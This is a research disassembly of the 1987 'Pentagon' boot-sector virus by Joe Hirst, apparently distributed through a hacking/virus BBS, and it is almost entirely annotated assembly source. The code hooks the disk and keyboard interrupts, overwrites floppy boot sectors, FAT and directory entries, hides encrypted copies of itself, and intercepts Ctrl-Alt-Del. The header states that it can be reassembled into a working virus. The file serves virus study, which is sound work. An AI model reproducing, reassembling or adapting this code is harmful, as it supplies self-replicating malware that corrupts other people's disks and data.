home *** CD-ROM | disk | FTP | other *** search
- ;****************************************************************************;
- ; ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] [=- ;
- ; -=] For All Your H/P/A/V Files [=- ;
- ; -=] SysOp: Peter Venkman [=- ;
- ; -=] [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; ;
- ; *** NOT FOR GENERAL DISTRIBUTION *** ;
- ; ;
- ; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
- ; Around Among the General Public. It Will be Very Useful for Learning how ;
- ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
- ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
- ; Experience can Turn it Into a far More Malevolent Program Than it Already ;
- ; Is. Keep This Code in Responsible Hands! ;
- ; ;
- ;****************************************************************************;
- page 65,132
- title The 'Pentagon' Virus
- ; ╔══════════════════════════════════════════════════════════════════════════╗
- ; ║ British Computer Virus Research Centre ║
- ; ║ 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England ║
- ; ║ Telephone: Domestic 0273-26105, International +44-273-26105 ║
- ; ║ ║
- ; ║ The 'Pentagon' Virus ║
- ; ║ Disassembled by Joe Hirst, March 1989 ║
- ; ║ ║
- ; ║ Copyright (c) Joe Hirst 1989. ║
- ; ║ ║
- ; ║ This listing is only to be made available to virus researchers ║
- ; ║ or software writers on a need-to-know basis. ║
- ; ╚══════════════════════════════════════════════════════════════════════════╝
-
- ; The disassembly has been tested by re-assembly using MASM 5.0.
-
- ; The code section between offsets 59H and C4H (which is normally
- ; encrypted) appears to have been separately assemblied using A86.
-
- ; Virus is possibly an honorary term, at least for this sample,
- ; as all attempts to run it have so far failed.
-
- ; This virus consists of a boot sector and two files.
- ; The boot sector is a normal PCDOS 3.20 boot sector with three
- ; changes:
-
- ; 1. The OEM name 'IBM' has been changed to 'HAL'.
-
- ; 2. The first part of the virus code overwrites 036H to 0C5H.
-
- ; 3. 100H-122H has been overwritten by a character string.
-
- ; The name of the first file is the hex character 0F9H. This file
- ; contains the rest of the virus code followed by the original boot
- ; sector.
-
- ; The name of the second file is PENTAGON.TXT. This file does not
- ; appear to be used in any way or contain any meaningful data.
-
- ; Both files are created without the aid of DOS, and the first
- ; file is accessed by its stored absolute location.
-
- ; Four different sections of the virus are separately encrypted:
-
- ; 1. 004AH - 004BH, key 0ABCDH - load decryption key
-
- ; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
-
- ; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message.
-
- ; 4. 0800H - 09FFH, key 0FCH - the original boot sector.
-
- SEG70 SEGMENT AT 70H
- ASSUME CS:SEG70
- EXIT:
- SEG70 ENDS
-
- BOOT SEGMENT AT 0
-
- ORG 413H
- BW0413 DW ?
-
- ORG 417H
- BB0417 DB ?
-
- ORG 51CH
- BW051C DW ?
-
- ORG 7C0BH
- DW7C0B DW ?
-
- ORG 7C18H
- DW7C18 DW ?
- DW7C1A DW ?
-
- ORG 7C2AH
- DB7C2A DB ?
-
- ORG 7C37H
- DW7C37 DW ?
- DW7C39 DW ?
- DB7C3B DB ?
- DB7C3C DB ?
- DW7C3D DW ?
-
- ORG 7DB7H
- DB7DB7 DB ?
-
- ORG 7DFDH
- DB7DFD DB ?
-
- ORG 7E00H
- DW7E00 DW ? ; DW008F - Track and sector of rest of code
- DW7E02 DW ? ; DW0091 - Head and drive of rest of code
- DW7E04 DW ? ; DW0093 - Segment address of virus
-
- BOOT ENDS
-
- CODE SEGMENT BYTE PUBLIC 'CODE'
- ASSUME CS:CODE,DS:CODE
-
- IF1
- ORG 206H
- BP0095X LABEL NEAR
- ENDIF
-
- ORG 0
- START: JMP BP0036
-
- DB 'HAL 3.2'
-
- DW 512 ; BPB001 - Bytes per sector
- DB 2 ; BPB002 - Sectors per allocation unit
- DW 1 ; BPB003 - Reserved sectors
- DB 2 ; BPB004 - Number of FATs
- DW 112 ; BPB005 - Number of root dir entries
- DW 720 ; BPB006 - Number of sectors
- DB 0FDH ; BPB007 - Media Descriptor
- DW 2 ; BPB008 - Number of sectors per FAT
- DW 9 ; BPB009 - Sectors per track
- DW 2 ; BPB010 - Number of heads
- DW 0 ; BPB011 - Number of hidden sectors (low order)
- BPB012 DW 0 ; Number of hidden sectors (high order)
-
- DB 10 DUP (0)
-
- HEADNO DB 0
-
- ; Interrupt 30 (1EH) - Disk parameter table
-
- DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0)
-
- DB 1, 0
-
- BP0036: CLI
- MOV AX,CS ; \ Set SS to CS
- MOV SS,AX ; /
- MOV SP,0F000H ; Set stack pointer
- MOV DS,AX ; Set DS to CS
- STI
- MOV BP,OFFSET BP0044+7C00H
- BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction
- NOP
- DW004A EQU THIS WORD
- MOV DH,0FCH ; Decryption key
- MOV BP,OFFSET BP0059+7C00H ; Decryption start address
- MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
- BP0052: XOR [BP+00],DH ; Decrypt a byte
- INC BP ; Next byte
- LOOP BP0052 ; Repeat for all of it
- NOP
- BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction
- MOV AX,BW0413 ; Get RAM size in K
- SUB AX,0005 ; Subtract five K
- MOV BW0413,AX ; Replace amended RAM size
- MOV CL,06 ; Bits to move
- SHL AX,CL ; Convert to segment address
- MOV DW0093+7C00H,AX ; Save segment address
- NOP
- MOV ES,AX ; Set ES to this segment
- XOR DI,DI ; Move to start
- MOV SI,7C00H ; From start of boot sector buffer
- MOV CX,0200H ; Move one sector
- CLD
- REPZ MOVSB ; Move sector to high-core
- NOP
-
- ; Move next section of code to a safe area
-
- MOV DI,200H+7C00H
- MOV SI,OFFSET DW008F+7C00H
- MOV CX,OFFSET DB00C5-DW008F ; Length to move
- PUSH DS ; \ Set ES to DS
- POP ES ; /
- CLD
- REPZ MOVSB ; Copy program section
- JMP BP0095X ; This is BP0095 in new location
-
- DW008F DW 0B02H ; Track and sector of rest of code
- DW0091 DW 100H ; Head and drive of rest of code
- DW0093 DW 9EC0H ; Segment address of virus
-
- BP0095: MOV CX,0004 ; Number of retries
- BP0098: PUSH CX
- MOV CX,DW7E00 ; Get track and sector number
- MOV DX,DW7E02 ; Get head and drive number
- MOV ES,DW7E04 ; Get buffer segment address
- MOV BX,0200H ; Buffer offset
- MOV AX,0201H ; Read one sector
- INT 13H ; Disk I/O
- JNB BP00B8 ; Branch if no error
- POP CX
- XOR AH,AH ; Reset floppy disk sub-system
- INT 13H ; Disk I/O
- LOOP BP0098 ; Retry
- INT 18H ; Drop into basic
-
- BP00B8: POP CX
- MOV AX,OFFSET DW7E04 ; Address segment address
- CLI
- MOV SP,AX ; Point SP at segment address
- STI
- MOV AX,0200H ; \ Address of second section
- PUSH AX ; /
- RETF
-
- DB00C5 DB 50H
-
- ; The rest of this sector is a normal PCDOS 3.20 boot sector
- ; which has been overwritten at 100H-122H by a character string
-
- DB 61H, 0
-
- XOR AH,AH
- INT 16H
- POP SI
- POP DS
- POP [SI]
-
- DW00D0 DW 0B06H ; Track and sector numbers
- DW00D2 DW 0100H ; Head and drive numbers
- DB 19H
-
- MOV SI,OFFSET DB7DB7
- JMP NEAR PTR DB00C5
-
- MOV AX,BW051C
- XOR DX,DX
- DIV DW7C0B
- INC AL
- MOV DB7C3C,AL
- MOV AX,DW7C37
- MOV DW7C3D,AX
- MOV BX,0700H
- MOV AX,DW7C37
- CALL BP0137
- MOV AX,DW7C18
- SUB AL,DB7C3B
- INC AX
- PUSH AX
-
- DB '(c) 1987 The Pentagon, Zorell Group'
-
- DB 7CH
- JMP FAR PTR EXIT
-
- BP0129: LODSB
- OR AL,AL
- JZ BP0150
- MOV AH,0EH
- MOV BX,7
- INT 10H
- JMP BP0129
-
- BP0137: XOR DX,DX
- DIV DW7C18
- INC DL
- MOV DB7C3B,DL
- XOR DX,DX
- DIV DW7C1A
- MOV DB7C2A,DL
- MOV DW7C39,AX
- BP0150: RET
-
- MOV AH,2
- MOV DX,DW7C39
- MOV CL,6
- SHL DH,CL
- OR DH,DB7C3B
- MOV CX,DX
- XCHG CH,CL
- MOV DL,DB7DFD
- MOV DH,DB7C2A
- INT 13H
- RET
-
- DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
- DB 'Replace and strike any key when ready', 0DH, 0AH, 0
- DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
- DB 'IBMBIO COMIBMDOS COM'
-
- ORG 01FEH
- DW 0AA55H
-
- ; Second sector of virus
-
- BP0200: CLI
- MOV SP,0F000H ; Reset stack pointer
- STI
- XOR AX,AX ; \ Address zero
- MOV DS,AX ; /
- MOV BX,004CH ; INT 13H jump address
- MOV BP,01A0H ; INT 68H jump address
- CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use
- JE BP0219 ; Branch if not
- JMP BP024E
-
- BP0219: MOV AX,[BX] ; Get INT 13H offset
- MOV DS:[BP+0],AX ; Set INT 68H to this offset
- MOV AX,[BX+2] ; Get INT 13H segment
- MOV DS:[BP+2],AX ; Set INT 68H to this segment
- MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine
- MOV AX,CS ; \ Set INT 13H segment
- MOV [BX+2],AX ; /
- MOV BX,0024H ; INT 9 jump address
- MOV BP,01A4H ; INT 69H jump address
- MOV AX,[BX] ; Get INT 9 offset
- MOV DS:[BP],AX ; Set INT 69H to this offset
- MOV AX,[BX+2] ; Get INT 9 segment
- MOV DS:[BP+2],AX ; Set INT 69H to this segment
- MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine
- MOV AX,CS ; \ Set INT 9 segment
- MOV [BX+02],AX ; /
- JMP BP0254
-
- BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM
- ADD WORD PTR [BX],5 ; Restore the 5K
- BP0254: MOV BP,OFFSET DW008F ; Address virus pointer
- MOV CX,CS:[BP] ; Get track and sector
- MOV DX,CS:[BP+2] ; Get head and device
- MOV BX,0200H ; Address second sector
- MOV CX,3 ; Three sectors to read
- BP0265: PUSH CX ; Save read count
- MOV AX,0201H ; Read one sector
- MOV CX,CS:[BP] ; Get track and sector
- CALL BP0300 ; Address to next sector
- MOV CS:[BP],CX ; Save new track and sector
- ADD BX,0200H ; Address next buffer area
- CALL BP031B ; Read from disk
- JNB BP0280 ; Branch if no error
- POP CX
- INT 18H ; Drop into basic
-
- ; Read file, first sector
-
- BP0280: POP CX ; Retrieve read count
- LOOP BP0265 ; Repeat for other sectors
- MOV BP,OFFSET DW00D0 ; Address file pointers
- MOV CX,CS:[BP] ; Get track and sector
- MOV DX,CS:[BP+2] ; Get head and drive
- MOV BX,1000H ; Buffer address
- MOV AX,0201H ; Read one sector
- CALL BP031B ; Read from disk
- JNB BP029B ; Branch if no error
- INT 18H ; Drop into basic
-
- ; Read file, second sector
-
- BP029B: CALL BP0300 ; Address to next sector
- ADD BX,0200H ; Update buffer address
- MOV AX,0201H ; Read one sector
- CALL BP031B ; Read from disk
- JNB BP02AC ; Branch if no error
- INT 18H ; Drop into basic
-
- BP02AC: LEA CX,DB07E0 ; Address end of encrypted
- LEA BX,DB0791 ; Address start of encrypted
- SUB CX,BX ; Length to decrypt
- MOV AL,0AAH ; Load encryption key
- PUSH CS ; \ Set DS to CS
- POP DS ; /
- CALL BP0315 ; Decrypt
- MOV AX,CS ; \
- MOV ES,AX ; ) Set ES & DS to CS
- MOV DS,AX ; /
- MOV DI,0100H ; Middle of 1st sector
- MOV SI,OFFSET DB07BC ; Address copyright message
- MOV CX,0023H ; Length of copyright message
- REPZ MOVSB ; Copy copyright message
- PUSH CS ; \ Set DS to CS
- POP DS ; /
- MOV CX,0200H ; Length to decrypt
- MOV BX,0800H ; Address boot sector store
- MOV AL,0FCH ; Load encryption key
- CALL BP0315 ; Decrypt
- XOR AX,AX ; \ Segment zero
- MOV ES,AX ; /
- MOV DI,7C00H ; Boot sector buffer
- MOV SI,0800H ; Address boot sector store
- MOV CX,0200H ; Sector length
- CLD
- REPZ MOVSB ; Copy boot sector
- DB 0EAH ; Far jump to boot sector
- DW 7C00H, 0
-
- DB 16 DUP (0)
-
- ; Address to next sector
-
- BP0300: INC CL ; Increment sector number
- CMP CL,0AH ; Is it sector ten?
- JL BP0314 ; Branch if not
- MOV CL,1 ; Set sector to one
- INC DH ; Increment head
- CMP DH,2 ; Is it head two?
- JL BP0314 ; Branch if not
- XOR DH,DH ; Set head to zero
- INC CH ; Increment track
- BP0314: RET
-
- ; Encrypt/decrypt
-
- BP0315: XOR [BX],AL ; Encrypt a byte
- INC BX ; Address next byte
- LOOP BP0315 ; Repeat for count
- RET
-
- ; Read from or write to disk
-
- BP031B: PUSH SI
- PUSH DI
- MOV SI,AX ; Save function
- MOV DI,CX ; Save track and sector
- MOV CX,3 ; Number of retries
- BP0324: PUSH CX
- MOV AX,SI ; Retrieve function
- MOV CX,DI ; Retrieve track and sector
- INT 68H ; Disk I/O
- JNB BP0338 ; Branch if no error
- XOR AH,AH ; Reset sub-system
- INT 68H ; Disk I/O
- POP CX ; Retrieve number of retries
- LOOP BP0324 ; Retry
- STC
- JMP BP033B
-
- BP0338: POP CX ; Retrieve number of retries
- MOV CX,DI ; Retrieve track and sector
- BP033B: POP DI
- POP SI
- RET
-
- ; Find unused FAT entry pair
-
- BP033E: PUSH AX
- PUSH DX
- PUSH ES
- PUSH DI
- PUSH CS
- POP ES
- MOV DX,CX ; Initial cluster number
- XOR AL,AL ; Search for zero
- BP0348: MOV CX,3 ; Three bytes to check
- MOV DI,BX ; Address FAT entry pair
- REPZ SCASB ; Scan for non-zero
- CMP CX,0 ; Is FAT pair unused
- JE BP0361 ; Branch if yes
- ADD BX,3 ; Address next entry pair
- ADD DX,2 ; Update entry count
- CMP DX,0162H ; Entry 354?
- JLE BP0348 ; Process entry pair if not
- STC
- BP0361: MOV CX,DX ; Cluster number found
- POP DI
- POP ES
- POP DX
- POP AX
- RET
-
- ; Find and flag an unused entry
-
- BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry
- JZ BP0384 ; Branch if unused
- INC CX ; Next entry number
- INC BX ; Address 2nd entry
- TEST WORD PTR [BX],0FFF0H ; Test second FAT entry
- JZ BP038B ; Branch if unused
- INC CX ; Next entry number
- ADD BX,2 ; Address next entry pair
- CMP CX,0163H ; Entry 355?
- JLE BP0368 ; Process next FAT pair if not
- STC
- JMP BP0390
-
- BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF
- JMP BP038F
-
- BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF
- nop ; ** length adjustment, MASM 5.0
- BP038F: CLC
- BP0390: RET
-
- ; Unflag Brain virus bad clusters
-
- BP0391: PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- MOV DX,CX
- BP0397: MOV AX,[BX] ; Get FAT entry
- AND AX,0FFFH ; Isolate FAT entry
- CMP AX,0FF7H ; Bad cluster?
- JE BP03B8 ; Branch if yes
- INC DX ; Add to cluster number
- INC BX ; Address next entry
- MOV AX,[BX] ; Get FAT entry
- MOV CL,4 ; Bits to move
- SHR AX,CL ; Move FAT entry
- CMP AX,0FF7H ; Bad Cluster?
- JE BP03C8 ; Branch if yes
- INC DX ; Add to cluster number
- ADD BX,2 ; Address next pair of entries
- CMP DX,015FH ; Entry 351?
- JLE BP0397 ; Process this pair if not
- BP03B8: MOV WORD PTR [BX],0 ; \
- MOV BYTE PTR [BX+2],0 ; ) Clear three entries
- XOR WORD PTR [BX+3],0FF7H ; /
- JMP BP03D5
-
- BP03C8: XOR WORD PTR [BX],0FF7H ; \
- MOV WORD PTR [BX+2],0 ; ) Clear three entries
- MOV BYTE PTR [BX+4],0 ; /
- BP03D5: POP DX
- POP CX
- POP BX
- POP AX
- RET
-
- ; Convert cluster number to track, head and sector
-
- BP03DA: PUSH AX
- PUSH BX
- SUB CX,2 ; Subtract number of 1st cluster
- ADD CX,CX ; Two sectors per cluster
- ADD CX,0CH ; Add sector num of 1st cluster
- MOV AX,CX ; Copy sector number
- PUSH AX ; Save sector number
- MOV BL,9 ; Nine sectors per track
- DIV BL ; Divide by sectors per track
- INC AH ; First sector is one
- MOV CL,AH ; Move sector number
- XOR AH,AH ; Clear top of register
- MOV BL,2 ; Two heads
- DIV BL ; Divide by heads
- MOV DH,AH ; Move head number
- POP AX ; Retrieve sector number
- MOV BL,12H ; 18 sectors per track (both sides)
- DIV BL ; Divide by sectors per track
- MOV CH,AL ; Move track number
- POP BX
- POP AX
- RET
-
- ; Update directory
-
- BP0401: PUSH BX
- PUSH CX
- PUSH DX
- PUSH SI
- PUSH DI
- MOV CX,000FH ; Fifteen entries per sector
- XOR DI,DI ; Start of sector
- CMP AX,7 ; Is this first dir sector
- JNE BP0416 ; Branch if not
- SUB CX,3 ; Subtract three from count
- ADD DI,60H ; Address fourth entry
- BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on?
- JNE BP0443 ; Branch if not
- CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
- JNE BP0443 ; Branch if not
- MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on
- PUSH SI
- PUSH DI
- PUSH CX
- ADD DI,BX ; Add sector address
- LEA SI,DB07B1 ; Address label
- MOV CX,000BH ; Length of new label
- CLD
- REPZ MOVSB ; Copy label
- MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
- POP CX
- POP DI
- POP SI
- BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused?
- JE BP0452 ; Branch if yes
- ADD DI,20H ; Address next entry
- LOOP BP0416 ; Process next entry
- STC
- JMP BP0487
-
- BP0452: ADD DI,BX ; Add sector address
- MOV BX,DI ; Move entry address
- MOV BYTE PTR [BX],0F9H ; "Filename"
- MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes
- MOV CX,CS:DW0784 ; Get virus cluster number
- MOV [BX+1AH],CX ; Store starting cluster
- MOV WORD PTR [BX+1CH],0800H ; \ File size 2048
- MOV WORD PTR [BX+1EH],0 ; /
- ADD DI,20H ; Address next entry
- MOV BX,DI ; Move entry address
- LEA SI,DB0791 ; Address start of encrypted
- MOV CX,0020H ; One complete entry to move
- CLD
- REPZ MOVSB ; Move entry
- MOV CX,CS:DW0786 ; Get file cluster number
- MOV [BX+1AH],CX ; Store starting cluster
- CLC
- BP0487: POP DI
- POP SI
- POP DX
- POP CX
- POP BX
- RET
-
- ; Read actual boot sector - Brain infected
-
- BP048D: PUSH AX
- PUSH CX
- PUSH DX
- MOV CX,[BX+7] ; Get track and sector
- MOV DH,[BX+6] ; Get head number
- MOV AX,0201H ; Read one sector
- CALL BP031B ; Read from disk
- POP DX
- POP CX
- POP AX
- RET
-
- ; Generate a sound
-
- BP04A0: MOV BP,1 ; One loop
- MOV AL,0B6H ; Counter two, both bytes, sq wave
- OUT 43H,AL ; Set PIT control register
- MOV AX,0533H ; Sound frequency
- OUT 42H,AL ; Send first byte
- MOV AL,AH ; Get second byte
- OUT 42H,AL ; Send second byte
- IN AL,61H ; Get port B
- MOV AH,AL ; Save port B value
- OR AL,3 ; Set sound bits on
- OUT 61H,AL ; Send port B
- SUB CX,CX ; Maximum loop count
- BP04BA: LOOP BP04BA ; Delay
- DEC BP ; Decrement count of loops
- JNZ BP04BA ; Branch if not zero (it won't be)
- MOV AL,AH ; Recover original port B
- OUT 61H,AL ; Send port B
- RET
-
- ; Int 13H routine
-
- BP04C4: STI
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH DS
- PUSH SI
- PUSH ES
- PUSH DI
- MOV CS:DB0790,DL ; Save device
- CMP AH,2 ; Is function a read?
- JE BP04DA ; Branch if yes
- JMP BP06FC ; Pass on to BIOS
-
- BP04DA: DEC CS:DB07E0 ; Decrement count
- JZ BP04E4 ; Infect when zero
- JMP BP06FC ; Pass on to BIOS
-
- ; Get boot sector
-
- BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
- PUSH CS ; \
- POP AX ; \ Set DS & ES to CS
- MOV DS,AX ; /
- MOV ES,AX ; /
- MOV BX,0800H ; Address boot sector store
- MOV CX,1 ; Track zero, sector one
- MOV DH,0 ; Head zero
- MOV DL,CS:DB0790 ; Load device
- MOV AX,0201H ; Read one sector
- CALL BP031B ; Read from disk
- JNB BP0508 ; Branch if no error
- JMP BP06FC ; Pass on to BIOS
-
- ; Check for Brain virus
-
- BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector?
- JNE BP051D ; Branch if not
- MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on
- CALL BP048D ; Read actual boot sector
- JNB BP052D ; Branch if no error
- JMP BP06FC ; Pass on to BIOS
-
- ; Check for Pentagon virus
-
- BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
- CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon?
- JNE BP052D ; Branch if not
- JMP BP06FC ; Pass on to BIOS
-
- ; Check for DOS boot sector
-
- BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector
- JE BP0538 ; Branch if yes
- JMP BP06FC ; Pass on to BIOS
-
- ; Get first FAT sector
-
- BP0538: ADD BX,0200H ; Update buffer address
- INC CL ; Next sector
- MOV AX,0201H ; Read one sector
- CALL BP031B ; Read from disk
- JNB BP0549 ; Branch if no error
- JMP BP06FC ; Pass on to BIOS
-
- ; Check media byte
-
- BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk
- JE BP0551 ; Branch if yes
- JMP BP06FC ; Pass on to BIOS
-
- ; Get second sector of FAT
-
- BP0551: ADD BX,0200H ; Update buffer address
- INC CL ; Next sector
- MOV AX,0201H ; Read one sector
- CALL BP031B ; Read from disk
- JNB BP0562 ; Branch if no error
- JMP BP06FC ; Pass on to BIOS
-
- BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch
- JNE BP0573 ; Branch if off
- MOV BX,0A03H ; Address first cluster in FAT
- MOV CX,2 ; First cluster is number two
- CALL BP0391 ; Unflag Brain virus bad clusters
- BP0573: MOV BX,0A96H ; \ Start from cluster 100
- MOV CX,0064H ; /
- CALL BP033E ; Find unused FAT entry pair
- JNB BP0581 ; Branch if no error
- JMP BP06FC ; Pass on to BIOS
-
- BP0581: MOV CS:DW0784,CX ; Save virus cluster number
- INC CX ; Next cluster number
- MOV [BX],CX ; Put it in first FAT entry
- OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF
- nop ; ** length adjustment, MASM 5.0
- DEC CX ; Set cluster number back
- CALL BP03DA ; Cluster num to trck/hd/sect
- MOV CS:DW0788,CX ; Save virus track & sector
- MOV CS:DW078A,DX ; Save virus head and drive
- PUSH BP
- MOV BP,OFFSET DW008F ; Address virus pointer
- MOV CS:[BP+00],CX ; Save virus track & sector
- MOV CS:[BP+03],DH ; Save virus head
- POP BP
- MOV BX,0A96H ; \ Start from cluster 100
- MOV CX,0064H ; /
- CALL BP0368 ; Find an unused FAT entry
- JNB BP05B7 ; Branch if no error
- JMP BP06FC ; Pass on to BIOS
-
- BP05B7: MOV CS:DW0786,CX ; Save file cluster number
- CALL BP03DA ; Cluster num to trck/hd/sect
- MOV CS:DW078C,CX ; Save file track & sector
- MOV CS:DW078E,DX ; Save file head and drive
- PUSH BP
- MOV BP,OFFSET DW00D0 ; Address file pointers
- MOV CS:[BP],CX ; Save track and sector
- MOV CS:[BP+3],DH ; Save head
- POP BP
- MOV AL,0FCH ; Load encryption key
- MOV BX,0800H ; Address boot sector store
- MOV CX,0200H ; Length to encrypt
- CALL BP0315 ; Encrypt/decrypt
- MOV BYTE PTR CS:DB07E0,20H ; Set count to 32
- LEA CX,DB07E0 ; Address end of encrypted
- LEA BX,DB0791 ; Address start of encrypted
- SUB CX,BX ; Length to encrypt
- MOV AL,0AAH ; Load encryption key
- CALL BP0315 ; Encrypt/decrypt
- MOV BX,0200H ; Virus second sector
- MOV AX,0301H ; Write one sector
- MOV CX,CS:DW0788 ; Get virus track & sector
- MOV DX,CS:DW078A ; Get virus head and drive
- MOV DL,CS:DB0790 ; Load device
- CALL BP031B ; Write to disk
- JNB BP0613 ; Branch if no error
- JMP BP06FC ; Pass on to BIOS
-
- BP0613: MOV AX,3 ; Three sectors to write
- BP0616: PUSH AX ; Save write count
- ADD BX,0200H ; Next sector buffer
- MOV AX,0301H ; Write one sector
- CALL BP0300 ; Address to next sector
- CALL BP031B ; Write to disk
- JB BP062D ; Branch if error
- POP AX ; Retrieve write count
- DEC AX ; Decrement count
- JNZ BP0616 ; Repeat for each sector
- JMP BP0631
-
- BP062D: POP AX
- JMP BP06FC ; Pass on to BIOS
-
- ; Write file
-
- BP0631: LEA CX,DB07E0 ; Address end of encrypted
- LEA BX,DB0791 ; Address start of encrypted
- SUB CX,BX ; Length to encrypt
- MOV AL,0AAH ; Load encryption key
- CALL BP0315 ; Encrypt/decrypt
- MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
- MOV CX,CS:DW078C ; Get file track & sector
- MOV DX,CS:DW078E ; Get file head and drive
- MOV DL,CS:DB0790 ; Load device
- MOV BX,1000H ; Address file buffer
- MOV AX,2 ; Two sectors to write
- BP065B: PUSH AX ; Save write count
- MOV AX,0301H ; Write one sector
- CALL BP031B ; Write to disk
- JB BP062D ; Branch if error
- CALL BP0300 ; Address to next sector
- ADD BX,0200H ; Address next sector buffer
- POP AX ; Retrieve write count
- DEC AX ; Decrement write count
- JNZ BP065B ; Write each sector
- MOV BX,OFFSET BP0059 ; Start of encrypted
- MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt
- MOV AL,0FCH ; Load encryption key
- CALL BP0315 ; Encrypt
- XOR BX,BX ; Address start of virus
- MOV AX,0301H ; Write one sector
- MOV CX,1 ; Track zero, sector 1
- XOR DH,DH ; Head zero
- CALL BP031B ; Write to disk
- JNB BP068C ; Branch if no error
- JMP BP06FC ; Pass on to BIOS
-
- ; Write 1st FAT sector
-
- BP068C: MOV BX,OFFSET BP0059
- MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
- MOV AL,0FCH ; Load encryption key
- CALL BP0315 ; Decrypt
- MOV BX,0A00H ; Address 1st FAT sector
- MOV AX,0301H ; Write one sector
- MOV CX,2 ; Track zero, sector 2
- CALL BP031B ; Write to disk
- JNB BP06A8 ; Branch if no error
- JMP BP06FC ; Pass on to BIOS
-
- ; Write 2nd FAT sector
-
- BP06A8: ADD BX,0200H ; Address 2nd FAT sector
- MOV AX,0301H ; Write one sector
- INC CX ; Next sector
- CALL BP031B ; Write to disk
- JNB BP06B8 ; Branch if no error
- JMP BP06FC ; Pass on to BIOS
-
- ; Create directory entries
-
- BP06B8: MOV BX,0E00H ; Address directory
- MOV CX,5 ; Track zero, sector 5
- XOR DH,DH ; Head zero
- MOV AX,7 ; Seven sectors to read
- BP06C3: PUSH AX ; Save read count
- MOV AX,0201H ; Read one sector
- CALL BP0300 ; Address to next sector
- CALL BP031B ; Read from disk
- JB BP06F1 ; Branch if error
- POP AX ; \ Retrieve and save read count
- PUSH AX ; /
- MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off
- CALL BP0401 ; Update directory
- JNB BP06F5 ; Branch if entry found
- CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch
- JNE BP06EA ; Branch if off
- MOV AX,0301H ; Write one sector
- CALL BP031B ; Write to disk
- BP06EA: POP AX ; Retrieve sector count
- DEC AX ; Decrement sector count
- JNZ BP06C3 ; Repeat for each sector
- JMP BP06FC ; Pass on to BIOS
-
- BP06F1: POP AX
- JMP BP06FC ; Pass on to BIOS
-
- BP06F5: POP AX
- MOV AX,0301H ; Write one sector
- CALL BP031B ; Write to disk
- BP06FC: POP DI
- POP ES
- POP SI
- POP DS
- POP DX
- POP CX
- POP BX
- POP AX
- INT 68H ; Disk I/O
- RETF 2
-
- ; Int 9 routine
-
- BP0709: PUSH AX
- PUSH BX
- PUSH DS
- MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch
- XOR AX,AX ; \ Address zero
- MOV DS,AX ; /
- IN AL,60H ; Get keyboard token
- MOV BX,OFFSET BB0417 ; Address Key states
- TEST BYTE PTR [BX],8 ; Alt key depressed?
- JZ BP0736 ; Branch if not
- TEST BYTE PTR [BX],4 ; Ctrl key depressed?
- JZ BP0736 ; Branch if not
- CMP AL,53H ; Del character token?
- JNE BP0736 ; Branch if not
- XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states
- XOR AL,AL ; \ ?
- OUT 60H,AL ; /
- MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch
- BP0736: POP DS
- POP BX
- POP AX
- INT 69H ; Keyboard I/O
- PUSHF
- CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch
- JNE BP0765 ; Branch if off
- POPF
- MOV AX,3 ; Set mode three
- INT 10H ; VDU I/O
- CLI
- MOV AL,0AH ; Repeat delay 10 times
- XOR CX,CX ; Maximum loop
- BP074F: LOOP BP074F ; Delay
- DEC AL ; Decrement delay count
- JNZ BP074F ; Repeat delay for count
- CALL BP04A0 ; Generate a sound
- XOR CX,CX ; Maximum loop
- BP075A: LOOP BP075A ; Delay
- MOV BYTE PTR CS:DB07E0,5 ; Set count to 5
- STI
- INT 19H ; Disk bootstrap
-
- BP0765: POPF
- RETF 2
-
- DB 27 DUP (0)
-
- DW0784 DW 0064H ; Cluster number of virus
